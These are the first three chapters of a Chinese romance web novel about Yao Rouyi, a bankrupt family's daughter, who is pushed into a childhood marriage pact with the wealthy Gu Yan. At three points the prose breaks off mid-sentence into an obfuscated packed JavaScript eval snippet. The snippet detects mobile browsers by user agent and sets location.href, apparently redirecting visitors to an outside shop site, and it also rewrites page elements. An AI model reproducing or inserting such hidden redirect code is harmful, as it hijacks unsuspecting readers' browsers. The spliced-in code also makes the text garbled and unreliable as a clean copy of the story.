《豪门戏精夫妇》 1. 第 1 章 夜幕低垂,东市城郊,私人酒庄。 酒庄今日被[盛力]承包,正在举办蒙面活动,内外灯火通明,衣香鬓影,熙熙攘攘。 来往人士面覆黑色半边面具,人均身材健美,盛装出席,男士西装革履,女士的礼裙更是争奇斗艳,令人目不暇接。 [盛力]是一家高端健身俱乐部,今天参加活动的都是核心会员,一水的是社会名流,不但身材过关,钱包那更是过关。 姚柔伊是个例外。 她是随好gay蜜蒋洲一起来的,并不是俱乐部会员。[盛力]就是蒋洲小叔开办的,带个人进来轻轻松松。 她的身材完全不输这里任何人,但穿着实属寒酸,一件不超过五百元的淘宝小礼裙,只不过穿在她身上被衬托成五万。 她基本没去过健身房,但架不住这世上有个词叫天赋,愣是前凸后翘一丝赘肉都没有。 “都出来玩了,就别想着你那破毕设了。”蒋洲见姚柔伊兴致缺缺,手肘轻怼她:“怎么心不在焉的,没有看上的?不应该啊,我都看到十几个大肌肉了。” 姚柔伊抿了口手中的特调,撇撇嘴,不屑:“又看不见脸,光有肌肉我才不喜欢。” 蒋洲不以为然:“长相嘛,关了灯都一样,肌肉才是实打实能摸到的。” “没劲,我颜控。”姚柔伊意兴阑珊。 来之前蒋洲根本没提这活动是要戴面具的,早知如此,她就继续在学校倒腾毕设了。 就在姚柔伊打算放弃今晚的猎艳计划时,一双长腿从她座位旁路过。 露天餐厅恰时起了缕清凉夜风,好似天公作美为他践行,勾缠不休、意韵绵长。 那人的西装外套搭在左臂上,右手端着高脚杯,黑色衬衫袖卷了几折,露出半截精壮小臂,血管清晰凸显。 衣领处的扣子也解开了两颗,锁骨沟若隐若现,增添几分潦草和随意。 他身姿颀长,在这群一贯追求超大肌肉的壮男里,甚至有些清瘦感,应该是穿衣显瘦、脱衣有肉的类型,很符合姚柔伊的审美取向。 同样是面具遮脸,可唯独他的帅哥氛围感拉满,给人一种揭下面具必是绝色的笃定。 或许是他的眼睛太深邃了,正如高悬于顶的夜空,漆黑似天幕,幽亮似繁星。 夜风拂面,吹起发丝摩挲脸颊,似有若无的痒意窜进姚柔伊心里,她的心潮与桌台上的烛火一般,摇曳晃荡。 见姚柔伊迟迟没有收回眼神,蒋洲伸手在她面前晃了晃。 他也注意到这个新来的男人了,很鹤立鸡群,风流倜傥,但他已经被健身洗脑,目前还是更偏爱大肌肉。 姚柔伊收回目光,恹闷的情绪一扫而空,那双灵媚的狐狸眼重现神采,她飞了一记眼刀给蒋洲:“这个怎么样?是我的菜。” 蒋洲耸肩:“啧啧,这不也戴着面具嘛,你小心别遇上了口罩帅哥。” “怎么会,我的眼睛可毒了,你看看人家那脸型,那眼睛,那嘴巴,妥妥的极品。” 姚柔伊信心满满,继续道:“我们打个赌吧,给我三句话的功夫,一句话让他加上我微信,三句话让他摘了面具,怎么样?” 听到打赌的内容,蒋洲瞬间来了兴致,当即表示:“行,你赢了的话毕业旅行的费用我包了,前提是你不能摘面具,不然以你那长相,别说男人,狗看了都愿意加微信。” “成交。” 姚柔伊端起酒杯一饮而尽,志得意满地站起身,朝陌生男子走起,刚走两步,就被人挡了道。 “美女,我注意你好久了,能一起喝一杯吗?” 说话的是个中年男,早对姚柔伊见色起意,只是她身边一直坐个男人,不便搭讪,方才见她起身,便迫不及待拦路。 蒋洲瞧见了,但没有要帮忙的意思,毕竟姚柔伊见惯烂挑花,解决起来得心应手,根本用不着他出面,他只需要笑看中年男吃瘪就行。 姚柔伊不想和搭讪男做过多纠缠,举着酒杯朝那陌生男子方向示意:“不好意思,我男朋友在那等我。” 中年男随她的指示望去,他交际甚广,一下便认出来此人是顾家大少顾阎,瞬间落了下风,心中暗道:顾大少身边的女人,果然都是绝色。 见中年男像斗败的公鸡,落寞离场,姚柔伊嘴角勾起嘲弄的笑意,继续朝顾阎走去。 刚走两步,手机响了,姚柔伊无语,这勾搭男人的两步路,哪来的这么多阻碍。 来电人是她老爹,一般老姚极少给她打电话,一打必然是大事,不能不接。 姚柔伊只得暂时放弃这个crush,改道去往无人角落,接听电话。 三分钟后,姚柔伊忍无可忍,破口大骂。 “我才不去和他见面,老姚你也太不厚道了,简直就是新世纪的卖女求荣!” 吼完之后,姚柔伊深抽一口气,用力闭了闭双目,抵挡突如其来的头脑眩晕。 姚柔伊从没想到,这年头还有娃娃亲这种封建陋习。 更没想到的是,这陋习竟会和自己有关。 她就知道,老姚给她打电话准没好事。 先是告诉她家里公司破产,后又让她履行幼时订下的娃娃亲合约,一连两个重磅炸弹。 平地起惊雷,砸得她头晕目眩。 其实对于家里公司破产,只能说是意料之外、情理之中。 毕竟家里的财务状况老早就难以为继,姚柔伊上大学后就是自己靠接画稿吃饭,没花家里一分钱。 这个姚家只不过表面光鲜,实际上是个破落户。 表面光鲜也多半归功于姚家基因强大,不论男女,都是顶漂亮的人物。 姚柔伊便是佼佼者,结合了父母容貌上的长处,五官无一处不精致,尤是眉眼,猫儿似的俏媚。 更甭提天生一张牛奶肌粉白皮,人间水蜜桃大抵如此。 犹记大一开学时,新舍友看见她后直呼bjd娃娃成精。 老姚被骂后,毫不气馁,仍在电话里喋喋不休,被姚柔伊当场打断:“别说了,我马上回家,到时候再细说!” 说完当机立断挂了电话。 她现在哪还有半点搭讪crush的念想,只想赶紧回家和老姚掰扯娃娃亲的破事。 见姚柔伊回来,蒋洲忙问:“你刚才去哪了,那位帅哥跟他朋友进去了,估计去楼上贵宾室,看来你这次打赌输了啊,要不要我帮你问问我小叔,那男人是谁?” “不用了。”姚柔伊面色焦虑,完全没了方才意气风发的神采,匆匆告别:“家里出了点事,我要回去了,你继续玩吧。” “出什么事了?”蒋洲大惊,他为人仗义,自然不能单独留下:“你这样我也没法继续玩呀,算了我送你回去吧,你先别急。” “也是,急也没用,路上再跟你说吧。”姚柔伊已经平复下来,焦躁不安褪变为平静无奈,不免自嘲道:”估计我快告别自由身了,那男人爱谁谁吧,不用帮我打听,没那缘分。” * 二楼贵宾室。 顾阎和三个朋友正在玩牌。 豪奢的休息室里,除他们之外,还有一位容貌身材俱佳的年轻女孩。她是近期娱乐圈新冒头的小花,正殷勤地替他们点烟倒酒。 顾阎今天玩牌有些心不在焉,平日里棋风很霸道,杀伐果决,不给人留活路,今天倒是连输三把。 池修白跟顾阎凑对家,顾阎今晚不在状态,连带着他也跟着输,嘴立马毒起来:“打得真臭,被女人榨干了吧,净来坑兄弟。” 说这话时,冷冽的目光在顾阎和小女星之间扫了一圈,意味不言而喻。 女明星当场闹了个红脸,这里的人物她一个也得罪不起,被人开涮也只能赔笑脸:“没有的事,池总您说笑了。” 顾阎非但不恼,还笑出声,笑声低沉又爽朗,听得小明星面色更红。 他也开口调侃:“这妹子谁带来的,又不是我带来的,净往我身上推。” 蒋权适时接话:“我的我的,最近公司新捧的,今天非要跟来见见世面。” 顾阎又冲池修白扬下巴,混不吝道:“你最近吃炮仗了,一点就着,不就输几把牌吗,今晚输的从我账上走。” 池修白心中烦闷,撂了牌,动作急躁地扯松领带,他抽出一支雪茄,小女星很有眼力见地帮他点燃。 深吸一口,吐出烟雾,池修白情绪稍定,清俊的面容在烟雾遮掩下更为朦胧绰约,他悠悠叹道:“女人啊,真是难缠。” 闻言,牌桌上几人一阵哄笑。 他们这群人都是有头有脸的主儿,听到这话,不异于听见世界首富在那感慨,物价真贵、过日子真难啊。 池修白拇指揉搓太阳穴,翻了个白眼,冷哼:“那是你们幸运,没遇见难缠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634419|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我今儿算是倒霉了。” 顾阎起哄:“什么样的女人难倒你了,说说。” “不提也罢。”池修白摆摆手不愿多说,实际上是怕说出来惹兄弟笑话,故而将话题转到顾阎身上:“我刚进来时,见一姑娘,想搭讪你,被老刘拦着了,这姑娘还说是你女朋友,啧啧,你小子艳福不浅。” 顾阎拧眉回想,脑海搜寻无果,很快放弃:“谁啊,没注意到,怎么没来找我呢。” “接了个电话,就走了。”池修白随口说。 “怕是被对象电话查岗了,不敢再来搭讪顾少。”蒋权一句话断案,他又想到个新鲜事,分享起来:“上周张怀仁老婆捉奸,一气之下还把老公和小三上床的视频发给媒体,老张花了八位数才把视频买回来,啧啧,这后院起火可真闹腾,我听人说小三肚里都有种了……” 说到这里,蒋权突然想到什么,心虚地朝顾阎看了一眼,缄口不言。 顾阎老爹当年也搞出来私生子,这一下子直接撞上了枪口。 大家伙一瞬间都想起来这事,方才活络的气氛刹那间静窒,不明所以的女明星害怕到轻微发抖。 池修白与顾阎交情匪浅,此刻他率先打破僵局,缺德地吹了声口哨拱火。 所有人的目光都集中在顾阎身上,等着他爆发。 顾阎的目光横扫一圈,他严肃起来时,目光锐利,极具压迫感,当然这份压迫感很快散去,他揭下面具朝牌桌一摔,语气是轻松玩笑的:“多少年前的老黄历,真当老子还没走出来?” 蒋权揪着的心可算落地,忙起身道:“不说了不说了,我自罚一杯。” 他用眼神示意小明星倒酒,不料小明星却对着顾阎的帅脸发愣,太出乎意料了,比她即将要搭档的流量小生还要帅。 蒋权气笑:“这还没散场,你就想跟顾少走了吧?” 小明星忙回神,打了个颤,忙不迭倒酒,小声说:“老板,我没有。” “都怪我太帅了。”顾阎打趣,替小明星解围。 蒋权举杯冲顾阎示意,一饮而尽,把小明星朝顾阎身边推:“顾少要是不嫌弃,今晚可以带走,我估计她挺愿意的。” 顾阎啧了声,冲小明星勾起嘴角,看着小明星因为他的笑意,愈发春心荡漾的粉颊,对上那双紧张期待的眼眸,顾阎仍是不为所动,缓缓摇头:“今时不同往日,我现在是谁也不能带。” 期望落空,小明星情绪瞬间低落,眼睛泛起泪光。 “不要人家还瞎撩什么。”池修白调笑:“从良从得这么彻底,不会是真不行了吧。” 顾阎右臂支在牌桌上,虎口卡着下巴,头微微侧着,痞气十足,口中颇为遗憾:“早就从良了,爱信不信。” 顾阎屈指不轻不重地点了两下桌面,使众人目光集中于他,“顺便公布个事,老子要结婚了。” 什么?! “你他妈结婚?”池修白大为诧异:“脑袋被驴踢了吧,大好的日子不过,非往坟墓里走,你没开玩笑吧?” “答应老头子了。”顾阎叹气,“是真的。” 顾老爷子旧病复发,危在旦夕,这是他唯一的请求,顾阎不敢不从。 蒋权若有所思:“怪不得孟筝从国外赶回来了。” 顾阎摆手:“跟她没关系,早八百年没联系了,少提老黄历。” 知道自己猜错了,蒋权不由得好奇:“那是跟谁家闺女结婚啊?” 顾阎也没藏着掖着:“姚家。” 蒋权在脑中一阵搜刮,没有对得上号的,“姚家是哪家,没怎么听过。” “小门小户,没听过也正常。”池修白不以为意。 顾阎继续为他们解惑:“前些天刚破产清算。” 池修白笑出声:“我去,还是个破落户啊,哈哈哈,这怎么攀上你顾家啊?” 顾阎语出惊人:“娃娃亲。” 此话一出众人大笑,包间内到处都是快活的气息。 “差不多得了。”顾阎被笑得有些烦。 “哈哈哈逗死我了,你跟人见过面吗?”池修白笑得上气不接下气,顿时觉得自己遇到的烦人精也不算个事,还有比自己更惨的兄弟。 顾阎半眯着眼,陷入回忆,他的记忆中有关姚家女儿的,只有几个模糊片段,那女孩无一例外都是红肿的眼睛。 “见过,爱哭。” 2. 第 2 章 “你爸也太不是个人了。”蒋洲听完来龙去脉,不由咋舌:“我当年跟家里人出柜,也没遇到这种程度的压迫啊。我支持你誓死反抗,决不妥协!” “但他是我在世的最后一个亲人了。”姚柔伊叹气:“不然我真的直接申请国外研究生,逃走拉倒。” “我肯定无条件支持你,你家破产没钱留学,我可以支援你一阵。”蒋洲一反常态,爷们十足地拍拍胸脯。 姚柔伊摇头否决:“算了,不太现实,我一走了之,怕老姚想不开。” 蒋洲不免感慨:“我之前一直觉得你特洒脱,比我还能游戏人间,没想到你也有掣肘和软肋。” “世上哪有真正的自由。” 姚柔伊开蒋洲的车,到了机场,两人告别:“你不用跟我回去,我自己能处理。” 蒋洲提议:“我可以伪装你男朋友,让你爸爸死了那条心。” “哈哈哈,你也挺会出主意,老姚没那么好糊弄的。”姚柔伊谢绝蒋洲的好意,她家现在肯定乱成一锅粥,实在不好拖朋友下水。 蒋洲上前给姚柔伊一个拥抱:“不管如何,你要是和家里决裂,我这边绝对有你落脚的地。” 姚柔伊拍拍他的肩膀:“太感人了,当初真没白追你。” 两人的交情始于大一的时候,姚柔伊收钱帮一个学姐追蒋洲,追到最后发现对方是个gay,但性情太投缘,顺势处成了朋友。 两个小时后,姚柔伊到家。 家门口并没有黑恶势力蹲守讨债,也没有被泼红色油漆,让她稍稍安心,情况还没糟糕透顶。 姚柔伊进门,树倒猕猴散,偌大客厅里只有老姚孤零零一人,窝在沙发上一动不动。 姚柔伊的心提到嗓子眼,忙伸手试探老姚鼻息,老姚这才鬼附身似的坐了起来,有气无力地说:“你回来了?” “诈尸啊?”姚柔伊吓了一跳。 “我在电话里跟你说的事,你考虑得怎么样了?”老姚一句关心的话都没有,直接开门见山。 “我不同意。”姚柔伊在一旁坐下,长腿交叠,抱臂看向老姚,神情倨傲。 老姚素来疼爱这个宝贝女儿,但这次却一反常态,腆着脸皮讪笑道:“对方是东城显赫人家,就算咱家公司没破产,市值再扩大十倍,也是高攀不上的,你去跟人家见见面也不吃亏。” “要真有这么好,你去见呗。” 姚柔伊按耐住翻白眼的冲动,斜眼瞥过去,皮笑肉不笑地哼了声,“我真就不懂了,好端端怎么突然跑出来个娃娃亲,我都怀疑你被诈骗了,国家反诈中心APP有没有提示你有风险啊?” 姚柔伊即将毕业,她提前在校外找好了租房,正想着毕业后放飞自我—— 大学这些年她的画稿邀约越来越多,至今已存了几十万的小金库,照顾自己完全没问题。 老姚叹了一口气。 儒雅俊帅的面庞因着生意场上的打击,又多添几道皱纹,瞳仁也没往日的光采,整个人很颓。 姚柔伊多少有点心疼,但老姚提出的事情太离谱,一下子超出了她的预知,她根本没法答应。 她是不介意去认识个陌生男人,但绝不能以娃娃亲的名义。 又迂腐又好笑。 娃娃亲一旦两方重提,除非这期间两人大打出手,把昔日两家的情分全部撕没,否则基本上可以快进到结婚,这更多的是一种履约,而不是男女交往。 “你总得跟我详细讲讲这个娃娃亲是怎么回事吧?”对于这种老古董操作,姚柔伊难免好奇。 老姚起身给自己倒了杯热水,穷得快揭不开锅,居然还不忘在水杯里放一小撮大红袍茶叶。 茶杯的热雾缓缓弥漫,老姚啜饮一口,慢腾腾回忆道。 “这个娃娃亲还是你爷爷定下的,你爷爷和顾老爷子当年一块儿当兵,关系跟铁哥们似的,你爷爷退伍后,两人也经常聚聚。后来有一回聚会,你还很小,三四岁吧,吵着爷爷要带你一块去东城玩。那次正好顾老爷子带孙子来,比你大个几岁,刚上小学,哪知你看到人家后,说人家长得好看,非要抱着人亲,不给抱就又哭又闹,还哭喊着说长大之后要嫁给小哥哥……” “哎打住打住,说重点!”姚柔伊可不想再听她小时候干的糗事。虽然确实是她能干得出来的事。 “顾老爷子看到后,和你爷爷一边说笑,一边帮你俩定了个娃娃亲。” “这么草率……有书面凭据吗,不会就开个玩笑吧。” “确实是玩笑话,你小时候我还经常拿这事逗你,说你不知羞,小小年纪就说要嫁给人家,害的人家爷爷早早就替你护着。” 老姚继续说:“说实在的,这事如果没人提,根本不会有人当回事,可没想到对方竟然会主动找过来,还特别有诚意地提出继续履约,并且承诺会暂时帮咱家还上债务,日后我再慢慢还钱。” 得嘞,姚柔伊一听就明白,老姚肯定是被这个承诺打动了。 毕竟他因为公司破产,借钱还债四处碰壁,还上了失信人名单被限制高消费。 顾家此刻找上门提出的条件,对老姚来说可不正是久旱逢甘霖,救命的恩情。 “那也不能当那么没骨气的人,我手头有些存款,要不先给你应急?” 听了这话,老姚老脸一热,内心特别宽慰,但态度十分坚决:“我怎么会要你的钱,这事你甭考虑,一切有爸爸的,绝对不会让你负担债务。” 看来老姚并没有被逼到绝境,他们的父女感情还很牢靠。 她又问:“你刚说他家是东城显赫人家,怎么会在意这种早年间的约定呢?” “是的,东城顾家,你平时要是关注财经新闻,对他家应该不陌生。” 不陌生,何止不陌生,简直如雷贯耳。 顾家企业是东城纳税大户,隐形首富,顾家为人低调,不愿在媒体面前过分暴露,也从不参与富豪榜的排。 虽说榜上无名,却是真正的无冕之王。 和顾家有婚约这事,无异于一个从小过苦日子的人,乍然得知自己家财亿万,之前都是家里人故意装穷考验他的。 老姚突然想到什么,继续道:“你和顾阎前几年见过一面,你爷爷丧礼,顾老爷子带着孙子来祭奠,你还记得吗?” 姚柔伊很想说几年前一面之缘,老早就忘了,可脑电波出卖了她,恍惚间,那段斑驳尘封的记忆如画轴般徐徐展开。 要怪只能怪对方实在出众。生来就注定被铭记。 那时他应该刚二十岁,身形整体上是青年男子的挺括,还掺带些许少年人的清瘦感。 黑衬衫黑西装,衬托他英俊冷淡的面庞愈发素净白皙,远远望去,好似一座沉静俊美的中世纪雕塑。 他的行为举止极为庄重文雅,拥有显赫家境熏陶出来的绅士风度,只可远观不可亲近。 只可惜,当时姚柔伊因为爷爷去世,伤心过度,对他只是匆匆一瞥,没有任何交谈,如果换个场合相遇,他都会是一个难以忘怀的crush。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634420|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提到crush,她不免又想到了方才在酒庄上看见的男子,她把顾阎的脸代入到那男人的身体上,意外觉得挺合适,不由得笑出声。 老姚纳闷地看向她。 姚柔伊收了笑,对上老姚询问的目光,胡口诹道:“丧礼这么多人,我哪能记住啊。” 老姚略微失望,他这人有些颜控,对顾家少爷顾阎可谓记忆犹新,本想着女儿想起顾阎的相貌后,会不再抗拒,可这小妮子竟然压根没记住人家。 “虽说男人长相不是那么重要,更多的看的是才能和本事,但顾阎这人的外形条件实在是不赖。” 他满意地直点头,越说越来劲,“我要是女的,我就……” 老姚住了嘴,他不能说出太跌份的话。 “你就怎么?古有木兰替父从军,今有老姚替女出嫁是不是?” “瞎说什么呢?” 姚柔伊:“既然家世赫赫,人又帅的一批,婚事还不是动动手指头的事,干嘛非要找上我们家?” “这个我也问过了,这是顾家老爷子的意思,他现在正躺在重症监护室,时日不多了,老一辈的人思想有些封建,想走之前看到家中小辈成家立业,又怕孙子不肯结婚,找人随便糊弄他,就想到了你。” 老姚瞧见姚柔伊略微蹙眉,心生不忍,忙添油加醋道:“顾家老爷子一直记得你,夸你人漂亮,又聪明,还懂事,是个难得的好姑娘。” 姚柔伊被老姚的吹捧瘆到了,夸她漂亮聪明,她全盘接受,可是懂事?她离听话懂事、贤良淑德、大家闺秀这类的形容词相距十万八千里。 她喜好自由,最忌规矩束缚,尽管在重要社交场合,她会表现得落落大方,让人挑不出半点错,但那都只是特殊场合的伪装,和她真实本性天差地别。 顾家这种豪门大户找儿媳妇,想必会是繁文缛节、重视传统,免不了要求对方庄重大方,将来做个贤妻良母,打理顾家上下,这些都是姚柔伊做不到的。 所以即便对顾家家世和顾家少爷稍微心动下,她也绝不会往火坑里跳。 她如今更想一个人自由自在,先赚到房子首付钱,再养上一猫一狗,快乐度日。 只是听闻顾老爷子不久于世,内心不免伤感惆怅,姚柔伊想到了自己的爷爷。 她自幼和爷爷最亲,爷爷带她见过好几次老友,连带着她对顾老爷子也生了些亲近感。 当下顾老爷子生命垂危,她理应代爷爷去看望一下昔日老友。 “怎么样,你这周末愿不愿意去一趟东城,和顾阎见见面?”老姚小心翼翼观察她的表情,试探性问。 东城,好巧不巧,她今晚就是从东城匆匆赶回来的,真是另类的缘分。 “去。” 听见女儿一反常态的回答,老姚不禁大喜,欣慰极了,“你可算想明白了,女孩子嘛,还是……” 老姚话还没说完,就听见紧随其后的“但是”—— “但是我是代替爷爷去看望顾爷爷,而不是去见什么顾阎,你帮我问问顾爷爷的病房信息。” “哎呦,光看顾老爷子是不是太单调了?看完顾老爷子,再看看他孙子怎么样?我说你是不是心里有人了,才不愿意去见面的?” “你要再啰嗦一句话,我就不过去了,改成电话慰问。” “行行行。”老姚忙答应下来。去总比不去好。 只是,姚柔伊怎么也想不到,她和避之不及的顾阎,好巧不巧地在顾老爷子病床前相聚了! 3. 第 3 章 姚柔伊回学校前特意叮嘱老姚拒了见面一事。 老姚却阴奉阳违,给顾家回话时故意歪曲姚柔伊的意思。 说她得知顾老爷子病重,思念万分,心痛难忍,迫不及待想在病床前尽孝,希望顾家能告知顾老爷子的住院信息。 顾老爷子听了这般回话,心中十分熨贴,愈发觉得自己相中的儿媳实在是个孝心可嘉的好孩子,比那个不着调的孙子靠谱多了,忙回话说自己这里医护人员充足,不用小姚来照顾自己。 老姚忙替姚柔伊谦虚一番,最后表示不管怎样,这姑娘都想去看一看顾老爷子才安心。 顾家感念姚柔伊的懂事周到,给了病房信息,并特地腾出一段养病的时间供她探视。 至于姚柔伊交代的事情,老姚半点没提。 他暗戳戳给自己留下一个希望的口子。 他想,说不定,姚柔伊去看了顾老爷子一趟,回来就转变心意愿意结婚了呢。 * 从老姚那得到探视时间和病房信息后,姚柔伊马上订购机票,准备飞东城。 老姚特地在她登机前打了通视频。 他难免提心吊胆,害怕姚柔伊穿些“有碍观瞻”的衣裙,顶着五彩斑斓的发色去见顾老爷子。 直到看见变身后的姚柔伊才把心放回肚里。 她今天穿的是一条很淑女气质的藕粉长裙,款式简约又不失气质。 之前的雾霾蓝发色以已染回黑色。 再配上很有亲和力的淡妆,俨然是见长辈时不会出错的打扮。 其实她的五官属于精致美艳系,愣是在她高超的化妆技巧下,呈现出温柔中带着一丝俏皮的效果,看起来很乖乖女。 虽然老姚知道女儿不是什么大家闺秀,但她长得具有欺骗性,不会有人把她的外表和离经叛道扯上关系。 “这样打扮多好看啊,顾老爷子肯定对你印象满分。”老姚赞许。 立马收获了一个白眼,“你再说我马上去换掉。” 老姚两指相捏,在嘴唇上横着一拉,做出闭嘴姿态。 * 东城今日突然降温,天阴得厉害。 姚柔伊刚下飞机就被一阵冷风吹得打了颤。 按照地址打车去某军区附属医院,在医院对面的商店,临时购买一个果篮和一束粉百合。 空手去总归是不好的。 进了住院部,姚柔伊安静等电梯,忽然发觉身旁走过来一个人。 她没有扭头,拿余光扫了一眼。 那人穿的是深灰色正装,个子很高,肩膀宽阔。 姚柔伊只能瞥到对方清晰的喉结和半个下巴。 有一丝微妙的眼熟感。 姚柔伊没想太多,大抵帅哥之间总有相似之处。 紧接着,姚柔伊眼神向下,看男人的鞋和脚踝。 多年画稿经验积累,她对正装男的一个审美癖好就是皮鞋和袜子。 那人脚上是黑色素面二接头牛津鞋,很简单大方的款式,有趣的是袜子并不是常见黑袜,而是竖条纹黑纱袜。 真是有点子闷骚。 并且那人的脚踝部分很符合她的审美。 脚脖细,踝骨清晰突出,有矫健禁欲之美。 长时间偷瞄别人的脚是一件不礼貌的行为,姚柔伊不想暴露自己lsp的一面,故而不动声色收回目光。 正巧电梯门开,姚柔伊与对方一前一后进入电梯。 电梯门徐徐关闭,里面只有他们两人,姚柔伊一手抱花,一手提果篮,实在不方便按电梯。 刚想出声求助,就见对方按下了她想去的楼层。 这么巧,同一层,姚柔伊对这个正装男的好奇心又多了几分。 在她闻到一丝若有若无的古龙水气味后,这份好奇心快要溢出来了。 她很喜欢会用香水的男士。 姚柔伊刚想巧妙地回头看那男人,就听见对方说:“你去哪层,我帮你按。” 该死的,连声音都这么低沉好听。 既然对方主动开口,姚柔伊顺势回头,如愿以偿地看见一位远超预期的男人。 她有脑补过对方会是个帅哥,可是没想到对方的英俊得太有冲击力了。 不是单纯帅,而是英俊,于她而言,英俊才是形容男士长相最普通最高级的词汇。 “谢谢,我也去6楼。” 尽管内心已经被这人的外貌冲击得想嚎叫,姚柔伊表面仍然平静如初。 毕竟她也是个只靠美貌就能让人赞叹连连的人,身为美人的基本高傲还是要有的。 可对方却没有半分错愕,只是大方地打量她,眉头甚至轻轻皱了下,好似隐隐有些不悦。 姚柔伊不免有些失望,她看过太多男人一脸痴迷地盯着她看,那种眼神虽说让人不适,可偶尔也能稍稍满足她的小虚荣心。 正如酒庄的那个中年男,再烦人的苍蝇,在被赶走之后,也残存一丝丝取悦自我的价值。 如果眼前这位优质男目露惊喜神色,她可能会得意好几天。 然而,他非但没有任何赞赏之色,反倒是皱了眉头。 姚柔伊完全不解他的意思。 难道她的姿容还能有让他不满的地方? 顾阎看见姚柔伊脸上一闪而过的失望,内心轻轻发笑。 他承认这个女生长相是很合他的胃口,如果在其他场合遇见,譬如酒吧、舞会,他们或许会有进一步接触的可能。 毕竟对方也对他有好感——他有捕捉到这个小女人回头看他时,眸中一闪而过的错愕。 可当他得知对方也要去6楼,再结合之前顾老爷子说今天姚家姑娘要来探视,他顿时明白过来,这位就是他爷爷给他相中的媳妇。 他对姚柔伊残存的印象,只有丧礼上那个哭得眼睛像两个肿桃子的小姑娘。 没想到几年过去她变成熟了,童稚感褪去,反带上一分小女人的媚态。 当然,整体上是很贤良淑德的。 可恰恰贤良淑德是他最不感冒的性格。 他喜欢不好驯服的小野猫,最好爪子锋利点,征服起来会更有成就感。 “请问你皱什么眉?是我脸上有东西吗?”姚柔伊还是忍不住问了句。 “不好意思,让你误解了。”顾阎轻淡地笑了下,眼神移到她的花束上:“如果你是去看望顾卫国顾老先生的话,这花束还是别带进去,他对花粉过敏,这花香味太冲。” 姚柔伊完全没想到这点,条件反射道:“谢谢你的提醒。” “不客气。” 电梯正好开门,顾阎侧身,示意姚柔伊先走。 姚柔伊把花束扔到电梯口的垃圾桶里。 这时才想起来问:“你也是来看望顾老先生吗?” 估计他们关系还不浅,连花粉过敏这种细节都知道。 顾阎没有否认,微笑颔首:“是。” 姚柔伊没多想,当他是为了生意上的事来的,毕竟身着正装,看起来很商务,像是刚从集团总部驱车前来。 “那你先进去吧,工作要紧,我过会进去。”姚柔伊谦让地说。 顾阎轻笑:“远道是客,你先吧。” 他已经打算找机会悄悄溜走,回去补个觉,反正老爷子有了新人说话,他不出现也没事。 奈何,顾老爷子的护理闻声而出,将顾阎和姚柔伊双双迎了进去。 顾老爷子病重,意识一直迷迷糊糊,这会儿难得清醒,偏见顾阎和姚柔伊双双站在床头,登对得很。 心里头是说不出来的舒畅,连忙要护工扶他起来坐着。 护工和顾阎两人将顾老爷子病床摇起来。 顾老爷子浑浊的眼珠子在顾阎和姚柔伊两人身上打了一个转,他见这两人同时来到,以为双方已经相看过,互相满意,所以才一同结伴而来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634421|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他颤巍巍地朝姚柔伊伸出手,姚柔伊忙上前接住顾老爷子的手。 紧接着,顾老爷子又朝顾阎伸手,顾阎也只得上前握住。 顾老爷子拉着两人的手慢慢的合在一起,把顾阎的手掌盖在姚柔伊的手上。 顾阎的手掌宽大,可以完全包裹住她的手掌,掌心干燥温热,好似冬天的一杯暖手的奶茶。 只是,顾老爷子这个操作,姚柔伊只在电视上看过,通常是交代后事的意思。 看着顾老爷子欣慰的眼神,她实在不好意思抽回手掌。 “你俩要好好的,夫妻同心,互敬互爱,互相扶持,好好走下去。”顾老爷子的声音很虚弱,说话于他现在的病体而言,十分消耗气力,“不知道老头子我能不能撑到抱重孙的一天?” 姚柔伊心里像烟花一样砰地炸开! 夫妻同心? 救命,这位难道就是顾阎?! 姚柔伊惊慌地抬头看顾阎。 盯着他的脸看了会,好似慢慢地和当初的匆匆一瞥重合。 只是,他的长相和气质更加成熟深邃了。 姚柔伊用眼神疯狂示意他“快点拒绝”。 顾阎却仿佛没接收到她的信号,回顾老爷子的话:“放心,您会长命百岁的。” 顾老爷子欣慰地笑了,“能看到你们结婚的那天,老头子就心满意足了。” 这爷孙俩一唱一和,姚柔伊终于忍不住了,“我没有要……” 还没说完,顾阎盖在她上方的手掌就用力握了一下她的手,阻断她继续说下去。 “怎么了,姚丫头,你刚想说什么?” 姚柔伊瞪向顾阎,她不知道他究竟是什么意思,为什么不解释,任由顾老爷子误会下去。 顾阎继续哄顾老爷子:“她说她还没有想好哪天结婚。” 顾老爷子笑了,笑声虚弱短促,“姚丫头不用操心,你要是愿意的话,就找婚庆公司的人来策划,绝对不能亏待了你。” 顾阎伸手替顾老爷子顺了顺气,“结婚这事我会和小柔仔细商量的,您就放宽心,好好养病,到时候接您出来喝喜酒。” 